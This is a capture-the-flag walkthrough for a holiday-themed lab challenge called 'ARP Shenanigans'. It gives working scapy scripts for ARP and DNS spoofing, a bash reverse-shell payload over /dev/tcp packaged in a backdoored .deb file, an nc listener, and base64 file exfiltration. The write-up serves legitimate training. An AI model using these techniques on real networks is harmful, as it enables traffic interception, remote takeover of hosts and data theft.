



# ARP Shenanigans

## Objective

Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using `ARP`. Retrieve the document at `/NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt`. Who recused herself from the vote described on the document?

Difficulty: 4/5

## Alabaster Snowball's dialog:

Those skills might be useful to you later on!

I've been trying those skills out myself on this other terminal.

I'm pretty sure I can use `tcpdump` to sniff some packets.

Then I'm going to try a machine-in-the-middle attack.

Next, I'll spoof a `DNS` response to point the host to my terminal.

Then I want to respond to its `HTTP` request with something I'll cook up.

I'm almost there, but I can't quite get it. I could use some help!

Oh, I see the Scapy Present Packet Prepper has already been completed!

Now you can help me get access to this machine.

It seems that some interloper here at the North Pole has taken control of the host.

We need to regain access to some important documents associated with Kringle Castle.

Maybe we should try a machine-in-the-middle attack?

That could give us access to manipulate `DNS` responses.

But we'll still need to cook up something to change the `HTTP` response.

I'm sure glad you're here Santa.

## Hints

Jack Frost must have gotten malware on our host at `10.6.6.35` because we can no longer access it. Try sniffing the `eth0` interface using `tcpdump -nni eth0` to see if you can view any traffic from that host.

The host is performing an `ARP` request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in `/home/guest/scripts`.

Hmmm, looks like the host does a `DNS` request after you successfully do an `ARP` spoof. Let's return a `DNS` response resolving the request to our `IP`.

The malware on the host does an `HTTP` request for a `.deb` package. Maybe we can get command line access by sending it a [command in a customized .deb file](#)

# Solution

## Note

Complete the terminal **Scapy Prepper** for hints on how to solve this objective.

From the hints, we find out a host on the Castle's network has been compromised. We also learn that there will be a multi-step process to gain access to the host:

- Respond to the ARP request from the compromised host.
- Respond to the DNS request from the compromised host.
- Provide a package file to the compromised host with a backdoor script.
- Gain shell access to the host and retrieve the document.

## ARP response

The compromised host is requesting the MAC address of `10.6.6.53`. We have a template scapy script in `scripts/arp_resp.py`, but some of the fields in the response need to be filled out:

```
ether_resp = Ether(dst="SOMEMACHERE", type=0x806, src="SOMEMACHERE")

arp_response = ARP(pdst="SOMEMACHERE")
arp_response.op = 99999
arp_response.plen = 99999
arp_response.hwlen = 99999
arp_response.ptype = 99999
arp_response.hwtype = 99999

arp_response.hwsrc = "SOMEVALUEHERE"
arp_response.psrc = "SOMEVALUEHERE"
arp_response.hwdst = "SOMEVALUEHERE"
arp_response.pdst = "SOMEVALUEHERE"
```

We need to respond to the ARP request and tell the compromised host to direct any subsequent traffic to us. Using this [guide to ARP packets](#), we can fill in the appropriate sections in the response packets:

```
ether_resp = Ether(dst=packet[Ether].src, type=0x806, src=macaddr)

arp_response = ARP(pdst=packet[ARP].psrc)
arp_response.op = "is-at"
arp_response.plen = packet[ARP].plen
arp_response.hwlen = packet[ARP].hwlen
arp_response.ptype = packet[ARP].ptype
arp_response.hwtype = packet[ARP].hwtype

arp_response.hwsrc = macaddr
arp_response.psrc = packet[ARP].pdst
arp_response.hwdst = packet[Ether].src
arp_response.pdst = packet[ARP].psrc
```

And we were successful:

```
13 12.471951645 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
14 13.508024885 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
15 14.539966679 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
16 14.556060900 02:42:0a:06:00:06 → 4c:24:57:ab:ed:84 ARP 42 10.6.6.53 is at 02:42:0a:06:00:06
17 14.576235925 10.6.6.35 → 10.6.6.53 DNS 74 Standard query 0x0000 A ftp.osuosl.org
```

We can see the next piece of data we need to spoof: a DNS lookup for `ftp.osuosl.org`. There's a sample script in `scripts/dns_resp.py`, with some sections we need to change:

```
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.1.10"

def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src="00:00:00:00:00:00", dst="00:00:00:00:00:00") # need to replace mac
addresses
    ip = IP(dst="0.0.0.0", src="0.0.0.0") # need to replace IP
addresses
    udp = UDP(dport=99999, sport=99999) # need to replace ports
    dns = DNS(
        # MISSING DNS RESPONSE LAYER VALUES
    )
```

DNS packets are complex to create, and can be tricky to get right. A couple of helpful guides are at [here](#) and [here](#). With much trial and error, we can build a response packet with the following code:

```
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"

def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)
    ip = IP(dst=packet[IP].src, src=packet[IP].dst)
    udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
    dns = DNS(
        id=packet[DNS].id,
        qr=1, ra=1, rd=1, opcode="QUERY", rcode="ok", qdcount=1, ancount=1,
qd=packet[DNS].qd,
        an=DNSRR(rname=packet[DNS].qd.qname, type='A', rclass='IN', ttl=82159,
rdata=ipaddr),
    )
```

A small shell script helps manage starting the spoof scripts. The DNS spoof script is started first, to be ready when the ARP spoof fires:

```
#!/bin/sh

python3 dns_resp.py &
python3 arp_resp.py &
```

We can see the ARP request & response, then the DNS query and response:

```

4 3.120067856 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
5 3.136242873 02:42:0a:06:00:06 → 4c:24:57:ab:ed:84 ARP 42 10.6.6.53 is at 02:42:0a:06:00:06
6 3.152532649 10.6.6.35 → 10.6.6.53 DNS 74 Standard query 0x0000 A ftp.osuosl.org
7 3.177023233 10.6.6.53 → 10.6.6.35 DNS 104 Standard query response 0x0000 A ftp.osuosl.org
A 10.6.0.6
8 3.181901514 02:42:0a:06:00:06 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.35? Tell 10.6.0.6

```

Now we see a new request from the compromised host: an attempted HTTP request, which failed as there was no web server listening on port 80:

```

21 3.193879620 10.6.6.35 → 10.6.0.6 TCP 74 46756 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 S
ACK PERM=1 TSval=2037963142 TSecr=0 WS=128
22 3.193904459 10.6.0.6 → 10.6.6.35 TCP 54 80 → 46756 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

```

We can start one with `python3 -m http.server 80`, run our shell script again, and look at the web server output to see what the compromised host is requesting:

```

guest@6c0ad5672504:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [07/Jan/2021 03:18:16] code 404, message File not found
10.6.6.35 - - [07/Jan/2021 03:18:16] "GET /pub/jfrost/backdoor/suriv amd64.deb HTTP/1.1" 404 -

```

The compromised host is requesting a Debian package `/pub/jfrost/backdoor/suriv_amd64.deb`. We can create a package with a backdoor in it, serve it up with the correct path, and receive a remote shell when the compromised host installs the package. There are a number of Debian packages in the `debs` directory in the terminal, but I found it easier to use a tool to create an empty package with just a reverse shell backdoor instead of modifying one of the provided ones. The tool I used is [Derbie](#). After cloning the GitHub repository on your local machine and installing the dependencies, create a simple reverse shell payload script:

```

#!/bin/bash

0<&196;exec 196<>/dev/tcp/10.6.0.3/10444; sh <&196 >&196 2>&196

```

Replace `10.6.0.3` with the IP address of the host in your terminal.

Next, generate the package with `python3 Derbie.py suriv payload.sh`:

```

(derbie) xps15$ python3 Derbie.py suriv payload.sh
(derbie) xps15$ ls -l debs
total 5
-rw-r--r-- 1 jra jra 864 Jan  7 09:59 suriv_43_all.deb
(derbie) xps15$

```

We now need to get the package from our local machine into the `ARP Spoofer` terminal. As the terminal can't reach outside its network, the best method of transferring the package is copy/paste. On the local machine run `base64 debs/suriv_43_all.deb`, copy the base64-encoded text, and in the terminal run `base64 -d > suriv_amd64.deb`, then paste the text.

For the HTTP GET request to work, we need to make sure we have the correct path set up. Run `mkdir -p pub/jfrost/backdoor/`, move the package file to that directory, then re-start the Python HTTP server. Finally, add a listener to the shell script:

```
#!/bin/sh

python3 dns_resp.py &
python3 arp_resp.py &
nc -vnlp 10444
```

Run the script, and wait for the reverse shell from the compromised host. Once we see the `connect to ...` message from `nc`, we know the reverse shell was successful:

```
guest@dc698cd41038:~$ sh run.sh
listening on [any] 10444 ...
.
Sent 1 packets.
.
Sent 1 packets.
connect to [10.6.0.3] from (UNKNOWN) [10.6.6.35] 60888
id
uid=1500(jfrost) gid=1500(jfrost) groups=1500(jfrost)
hostname
95c78379b3c1
[Welcome] 0:ARP Shenanigans*
```

We can use the same copy/paste method to transfer the `/NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt` file out of the terminal and to our local machine:

```
gzip -9c /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt | base64
H4sICEuryl8CA05PULRiX1BPTeVfTGfuzF9Vc2VfQm9hcmRfTWVldGluZ19NaW51dGVzLnR4dAB9
V8ty2zYUXZdfcb0XNW666NSbjh9K7MaSXEtupkuIBCUKIMACoGR15X/opp1Jf85f0nMvKZF2Ml10
ahHAfZ5z7s1sfr+8prv57SS7PZ9d0cNiQhfz8/urbDqZLG9m72l6M3tYThZZ9otyjQp7ens6wn9v
T7NsqnUybk23PlfJeHdG59bSWqWNDrog42jmQ9rQnbeapo0zuamVpYvG2ALvRvQ9LZRLi6taiLd
utHgQZZdbpQJlXL0LviYKfFWRqo6n8mTD4U0pBL9ePbDKd1Nh94WSblChYKWptLjLLv3iIwtkC/p
wvNJpauVDpFqq1XUZ727X1T+ufN5QndBR+1S9pvJNR2vTD3nSD0VmqAht7JFU2u50X9DcoEf919+
```

And do the reverse on our local machine: `base64 -d | gunzip >`

`NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt`. Reading the relatively mundane meeting minutes from the North Pole Land Use board, we see that `Tanta Kringle` recused herself from voting on the Kringle Castle expansion plans.

## Answer

Tanta Kringle